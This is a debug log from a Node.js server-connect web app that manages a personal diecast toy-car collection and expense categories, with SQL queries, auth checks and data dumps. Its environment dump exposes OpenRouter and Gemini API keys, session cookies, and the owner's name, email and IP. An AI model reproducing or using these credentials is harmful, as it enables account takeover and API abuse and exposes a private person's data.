      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:39:37.548Z server-connect:router Serving templateView /diecast
2026-02-04T06:39:37.548Z server-connect:app Executing action step identify
2026-02-04T06:39:37.548Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:37.548Z server-connect:output identity: 1
2026-02-04T06:39:37.548Z server-connect:app Executing action step restrict
2026-02-04T06:39:37.548Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:39:37.549Z server-connect:output restrict: undefined
2026-02-04T06:39:37.549Z server-connect:router Render template layouts/main
2026-02-04T06:39:37.549Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { condition: 'Carded', manufacturer: '73' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'condition=Carded&manufacturer=73',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T06:39:38.485Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T06:39:38.487Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T06:39:38.488Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:39:38.489Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:39:38.489Z server-connect:app Executing action step identify
2026-02-04T06:39:38.489Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:38.490Z server-connect:output identity: 1
2026-02-04T06:39:38.490Z server-connect:app Executing action step restrict
2026-02-04T06:39:38.490Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:38.491Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:39:38.491Z server-connect:output restrict: undefined
2026-02-04T06:39:38.491Z server-connect:app Executing action step select
2026-02-04T06:39:38.491Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T06:39:38.492Z server-connect:app Executing action step identify
2026-02-04T06:39:38.493Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:38.493Z server-connect:output identity: 1
2026-02-04T06:39:38.493Z server-connect:app Executing action step restrict
2026-02-04T06:39:38.493Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:38.495Z server-connect:app Executing action step identify
2026-02-04T06:39:38.495Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:38.495Z server-connect:output identity: 1
2026-02-04T06:39:38.495Z server-connect:app Executing action step restrict
2026-02-04T06:39:38.495Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:38.495Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:39:38.495Z server-connect:app Executing action step identify
2026-02-04T06:39:38.495Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:38.496Z server-connect:output identity: 1
2026-02-04T06:39:38.496Z server-connect:app Executing action step restrict
2026-02-04T06:39:38.496Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:38.497Z server-connect:app Executing action step identify
2026-02-04T06:39:38.497Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:38.497Z server-connect:output identity: 1
2026-02-04T06:39:38.497Z server-connect:app Executing action step restrict
2026-02-04T06:39:38.497Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:38.499Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T06:39:38.500Z server-connect:app Executing action step identify
2026-02-04T06:39:38.500Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:38.500Z server-connect:output identity: 1
2026-02-04T06:39:38.500Z server-connect:app Executing action step restrict
2026-02-04T06:39:38.500Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:38.501Z server-connect:output restrict: undefined
2026-02-04T06:39:38.501Z server-connect:app Executing action step select
2026-02-04T06:39:38.501Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:39:38.502Z server-connect:output restrict: undefined
2026-02-04T06:39:38.502Z server-connect:app Executing action step single
2026-02-04T06:39:38.502Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T06:39:38.502Z server-connect:output restrict: undefined
2026-02-04T06:39:38.502Z server-connect:app Executing action step paged
2026-02-04T06:39:38.502Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:39:38.503Z server-connect:output restrict: undefined
2026-02-04T06:39:38.503Z server-connect:app Executing action step select
2026-02-04T06:39:38.503Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:39:38.504Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T06:39:38.504Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T06:39:38.505Z server-connect:output restrict: undefined
2026-02-04T06:39:38.505Z server-connect:app Executing action step select
2026-02-04T06:39:38.505Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:39:38.505Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
